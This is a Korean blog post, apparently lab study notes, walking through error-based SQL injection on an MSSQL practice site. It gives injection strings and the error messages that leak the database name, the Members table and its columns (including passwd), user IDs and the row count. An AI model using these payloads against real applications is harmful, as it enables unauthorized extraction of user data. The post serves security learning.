Error-based SQL Injection 실습

2022. 7. 12. 14:44·보안/웹·모바일

Error-Based SQL Injection

:: 에러 메세지가 친절할 때. 가장 친절/가장 쉬워짐

 

[DB명찾기]

(구문) ' and db_name() > 1 --

(결과) nvarchar 'oyesmall'을 데이터형식 int로 변환하지 못했씁니다.

db_name()은 MSSQL에서 데이터베이스 이름을 반환하는 친구임. 데이터베이스 이름이 1보다 크냐? 하고 주석처리

왜 nvarchar값을 int랑 비교하냐??. 하며 데이터베이스 이름 겟ㅋ

[TABLE명 찾기]

(구문) ' having 1=1 --

(결과) 열 'Members.num'이 집계함수나 GROUP BY절에 없으므로 SELECT 목록에서 사용할 수 없습니다. 

[COLUMN명 찾기]
(구문) ' group by num --

(결과) 열 Members.user_id가 집계함수나 GROUP BY절에 없으므로 SELECT 목록에서 사용할 수 없습니다. 

num 다음 컬럼을 알아내는 것.

그럼 그 다음 컬럼은?

(구문) ' group by num, user_id --

(결과) 열 Members.passwd가 집계함수나 GROUP BY절에 없으므로 SELECT 목록에서 사용할 수 없습니다. 

다음거는 passwd1, name, jumin1 ....

 


여기까지 했을 때 알아낸 것

- DB Name: oyesmall

- Table Name: Members

- Column List: num, user_id, passwd ....

 



[첫 번째에 있는 계정 알아내는 방법]

(구문) ' or 1 in (select user_id from members where num > 0) --

(결과) varchar 값 oyes를 데이터 형식 int로 변환하지 못했습니다.

 

[문제:: 계정 순서대로 다섯개를 알아내시오. ]

(구문) ' or 1 in (select user_id from members where user_id not in ('oyes', '???', ...)

1. oyes

2. bisang2da

3. kisec

4. kisectest

5. rnrneks

 

 

[문제:: members 테이블 행의 수 구하기]

(구문) ' or 1 in (SELECT '임의문자' + cast(count(user_id) as varchar(10) FROM members) --

※ MSSQL에서는 cast(), MYSQL에서는 concat()

※ 그리고 cast(count(user_id))할 필요 없이 걍 cast(count(*) varchar(10))하면 됨.

결과

CAST(data as type): 데이터를 형변환 하는 함수이다.

EX) CAST(1234 as varchar(20))

 

 

저작자표시 (새창열림)

'보안 > 웹·모바일' 카테고리의 다른 글

Load of SQLInjection 문제풀이  (0) 2022.07.15
Union SQL Injection 실습  (0) 2022.07.14
Non-Relational DBMS이란  (0) 2022.07.08
Blind SQL Injection  (0) 2022.07.08
CSRF(Cross-Site Request Forgery)  (0) 2022.07.07
'보안/웹·모바일' 카테고리의 다른 글
  • Load of SQLInjection 문제풀이
  • Union SQL Injection 실습
  • Non-Relational DBMS이란
  • Blind SQL Injection
병뚜
병뚜
열정!
  • 병뚜
    열려라 뚜껑
    병뚜
  • 전체
    오늘
    어제
    • all (372)
      • 일상X사랑X돈 (0)
        • 보안이슈 (114)
        • 뜨거운감자 (9)
        • 맛집 (2)
        • 혼잣말 (16)
      • 보안 (87)
        • 웹·모바일 (46)
        • 인프라 (19)
        • 리버싱 (8)
        • Security-Gym (10)
        • 리뷰 (4)
      • 프로그래밍 (66)
        • python (14)
        • java (12)
        • js (40)
      • System (47)
        • OS (14)
        • 침투 (33)
      • Play (20)
        • wargame (20)
      • 기타 (10)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    커널디버깅
    윈도우인터널스
    혼공단
    정보보안교육
    혼공
    it이슈
    혼공파
    보안이슈
    IT뉴스
    혼공학습단
    파이썬초보
    자바스크립트 상속
    windows internals
    jwt
    정보보안
    정보보호
    랜섬웨어
    뉴스요약
    드림핵리버싱
    파이썬
    kisa
    리버싱
    리버싱초보
    공급망공격
    프로세스
    보안뉴스
    파이썬공부
    파이썬입문
    혼자공부하는파이썬
    악성코드
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
병뚜
Error-based SQL Injection 실습
상단으로

티스토리툴바